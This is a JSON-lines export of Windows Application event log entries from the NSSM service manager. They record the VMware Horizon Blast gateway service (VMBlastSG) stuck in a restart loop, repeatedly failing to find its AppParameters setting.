{"@timestamp":1646757823721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158924","158924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162187}}
{"@timestamp":1646757823737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162188}}
{"@timestamp":1646757823737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162189}}
{"@timestamp":1646757823738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162190}}
{"@timestamp":1646757823739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162191}}
{"@timestamp":1646757952339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162192}}
{"@timestamp":1646757952340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162193}}
{"@timestamp":1646757952343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158140","0"]}}},"module":"Application","provider":"nssm","sequence":162194}}
{"@timestamp":1646757952343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158140","158140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162195}}
{"@timestamp":1646757952362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162196}}
{"@timestamp":1646757952363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162197}}
{"@timestamp":1646757952364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162198}}
{"@timestamp":1646757952366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162199}}
{"@timestamp":1646758080853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162200}}
{"@timestamp":1646758080855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162201}}
{"@timestamp":1646758080856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158672","0"]}}},"module":"Application","provider":"nssm","sequence":162202}}
{"@timestamp":1646758080856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158672","158672","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162203}}
{"@timestamp":1646758080876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162204}}
{"@timestamp":1646758080876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162205}}
{"@timestamp":1646758080877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162206}}
{"@timestamp":1646758080878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162207}}
{"@timestamp":1646758209361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162208}}
{"@timestamp":1646758209362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162209}}
{"@timestamp":1646758209363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158868","0"]}}},"module":"Application","provider":"nssm","sequence":162210}}
{"@timestamp":1646758209364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158868","158868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162211}}
{"@timestamp":1646758209380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162212}}
{"@timestamp":1646758209381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162213}}
{"@timestamp":1646758209381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162214}}
{"@timestamp":1646758209382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162215}}
{"@timestamp":1646758337879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162216}}
{"@timestamp":1646758337880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162217}}
{"@timestamp":1646758337881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155936","0"]}}},"module":"Application","provider":"nssm","sequence":162218}}
{"@timestamp":1646758337881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155936","155936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162219}}
{"@timestamp":1646758337897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162220}}
{"@timestamp":1646758337898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162221}}
{"@timestamp":1646758337899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162222}}
{"@timestamp":1646758337899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162223}}
{"@timestamp":1646758466503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162224}}
{"@timestamp":1646758466503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162225}}
{"@timestamp":1646758466505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159344","0"]}}},"module":"Application","provider":"nssm","sequence":162226}}
{"@timestamp":1646758466506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159344","159344","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162227}}
{"@timestamp":1646758466524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162228}}
{"@timestamp":1646758466524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162229}}
{"@timestamp":1646758466525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162230}}
{"@timestamp":1646758466526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162231}}
{"@timestamp":1646758595039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162232}}
{"@timestamp":1646758595041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162233}}
{"@timestamp":1646758595042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159664","0"]}}},"module":"Application","provider":"nssm","sequence":162234}}
{"@timestamp":1646758595042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159664","159664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162235}}
{"@timestamp":1646758595058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162236}}
{"@timestamp":1646758595059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162237}}
{"@timestamp":1646758595059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162238}}
{"@timestamp":1646758595060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162239}}
{"@timestamp":1646758723562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162240}}
{"@timestamp":1646758723564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162241}}
{"@timestamp":1646758723565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157904","0"]}}},"module":"Application","provider":"nssm","sequence":162242}}
{"@timestamp":1646758723566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157904","157904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162243}}
{"@timestamp":1646758723582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162244}}
{"@timestamp":1646758723583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162245}}
{"@timestamp":1646758723583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162246}}
{"@timestamp":1646758723584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162247}}
{"@timestamp":1646758852069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162248}}
{"@timestamp":1646758852070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162249}}
{"@timestamp":1646758852071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155444","0"]}}},"module":"Application","provider":"nssm","sequence":162250}}
{"@timestamp":1646758852072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155444","155444","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162251}}
{"@timestamp":1646758852088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162252}}
{"@timestamp":1646758852089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162253}}
{"@timestamp":1646758852089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162254}}
{"@timestamp":1646758852090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162255}}
{"@timestamp":1646758980881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162256}}
{"@timestamp":1646758980882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162257}}
{"@timestamp":1646758980883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153196","0"]}}},"module":"Application","provider":"nssm","sequence":162258}}
{"@timestamp":1646758980884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153196","153196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162259}}
{"@timestamp":1646758980902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162260}}
{"@timestamp":1646758980903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162261}}
{"@timestamp":1646758980904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162262}}
{"@timestamp":1646758980905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162263}}
{"@timestamp":1646759109371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162264}}
{"@timestamp":1646759109373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162265}}
{"@timestamp":1646759109373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159656","0"]}}},"module":"Application","provider":"nssm","sequence":162266}}
{"@timestamp":1646759109374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159656","159656","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162267}}
{"@timestamp":1646759109389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162268}}
{"@timestamp":1646759109389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162269}}
{"@timestamp":1646759109390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162270}}
{"@timestamp":1646759109391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162271}}
{"@timestamp":1646759237969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162272}}
{"@timestamp":1646759237971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162273}}
{"@timestamp":1646759237972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155732","0"]}}},"module":"Application","provider":"nssm","sequence":162274}}
{"@timestamp":1646759237973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155732","155732","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162275}}
{"@timestamp":1646759237992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162276}}
{"@timestamp":1646759237992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162277}}
{"@timestamp":1646759237993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162278}}
{"@timestamp":1646759237994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162279}}
{"@timestamp":1646759366482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162280}}
{"@timestamp":1646759366484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162281}}
{"@timestamp":1646759366484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158788","0"]}}},"module":"Application","provider":"nssm","sequence":162282}}
{"@timestamp":1646759366485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158788","158788","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162283}}
{"@timestamp":1646759366501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162284}}
{"@timestamp":1646759366502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162285}}
{"@timestamp":1646759366502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162286}}
{"@timestamp":1646759366503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162287}}
{"@timestamp":1646759495054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162288}}
{"@timestamp":1646759495055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162289}}
{"@timestamp":1646759495056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159472","0"]}}},"module":"Application","provider":"nssm","sequence":162290}}
{"@timestamp":1646759495057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159472","159472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162291}}
